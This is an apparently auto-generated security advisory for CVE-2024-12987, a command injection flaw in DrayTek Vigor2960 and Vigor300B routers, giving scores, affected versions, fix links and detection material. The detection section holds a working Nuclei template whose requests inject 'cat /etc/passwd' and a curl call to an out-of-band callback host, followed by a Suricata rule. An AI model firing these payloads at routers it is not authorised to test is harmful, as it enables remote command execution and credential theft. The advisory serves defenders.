CVE-2024-12987: DrayTek Vigor Routers OS Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component.
Description quoted from the CVE record (assigned by VulDB, published 2024-12-27).
Weakness: OS Command Injection; Command Injection
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity low, availability low. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2025-05-15
- US federal deadline
- 2025-06-05
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2025-00008, CNNVD-202412-3075, EUVD-2024-51246, GHSA-3mp3-6fg3-7hxj
VEDAS cluster: VEDAS:FLAMINGOARIES
Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (6)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-12987.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2024/CVE-2024-12987.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2024/CVE-2024-12987.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-12987.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-12987.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2024/CVE-2024-12987.rules
Vulnerability databases and vendor advisories (6)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-12987
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2024-51246
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-3mp3-6fg3-7hxj
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-12987
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12987
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202412-3075
15 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.982
very likely to be attacked soon - VEDAS
- 0.978
strong exploit evidence - On CISA KEV
- Yes, since 2025-05-15
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| DrayTek Vigor2960 | version 1.5.1.4 | Not stated |
| DrayTek Vigor300B | version 1.5.1.4 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: draytek vigor2960_firmware, draytek vigor300b, draytek vigor300b_firmware, draytek vigor_2960.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://fw.draytek.com.tw/Vigor2960/Firmware/v1.5.1.5/DrayTek_Vigor2960_V1.5.1.5_01release-note.pdf
- https://fw.draytek.com.tw/Vigor300B/Firmware/v1.5.1.5/DrayTek_Vigor300B_V1.5.1.5_01release-note.pdf
- https://fw.draytek.com.tw/Vigor3900/Firmware/v1.5.1.5/DrayTek_Vigor3900_V1.5.1.5_01release-note.pdf
- https://nvd.nist.gov/vuln/detail/CVE-2024-12987
How to detect it
Nuclei template (active check)
DrayTek Vigor2960 - Command Injection
A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxx..., GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxx...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2024-12987.yamlShow the template (49 lines)
id: CVE-2024-12987
info:
name: "DrayTek Vigor2960 - Command Injection"
author: vedas-arpsyndicate
severity: critical
description: |
A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4.
Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web
Management Interface.
reference:
- https://www.exploit.observer/?keyword=CVE-2024-12987&match=exact
- https://subdomain.center/?engine=ammonites&keyword=draytek&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-12987
cwe-id: CWE-78
metadata:
verified: false
tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln
http:
- raw:
- |+
GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
Host: {{Hostname}}
- |+
GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
Host: {{Hostname}}
stop-at-first-match: true
unsafe: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(header, 'DWS')
- status_code == 200
condition: and
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains(header, 'DWS')
- status_code == 200
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-12987 DrayTek Vigor2960 - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-12987 DrayTek Vigor2960 - Command Injection"; flow:established,to_server; http.uri; content:"mainfunction.cgi"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2024-12987; reference:url,https://www.exploit.observer/?keyword=CVE-2024-12987&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=draytek&match=exact; sid:1009623; rev:1;)
CVE-2024-12987.rules on GitHub
References
Exploits and technical analysis
- VDB-289380 | DrayTek Vigor2960/Vigor300B Web Management Interface apmcfgupload os command injection (vdb-entry, technical-description)
- Submit #468795 | DrayTek Vigor2960, Vigor300B 1.5.1.4 Command Injection (third-party-advisory)
- https://netsecfish.notion.site/Command-Injection-in-apmcfgupload-endpoint-for-DrayTek-Gateway-Devices-1676b683e67c8040b7f1f0ffe29ce18f?pvs=4 (exploit)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-12987 (government-resource)
Other references
- VDB-289380 | CTI Indicators (IOB, IOC, TTP, IOA) (signature, permissions-required)
- https://fw.draytek.com.tw/Vigor3900/Firmware/v1.5.1.5/DrayTek_Vigor3900_V1.5.1.5_01release-note.pdf
- https://fw.draytek.com.tw/Vigor2960/Firmware/v1.5.1.5/DrayTek_Vigor2960_V1.5.1.5_01release-note.pdf
- https://fw.draytek.com.tw/Vigor300B/Firmware/v1.5.1.5/DrayTek_Vigor300B_V1.5.1.5_01release-note.pdf
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.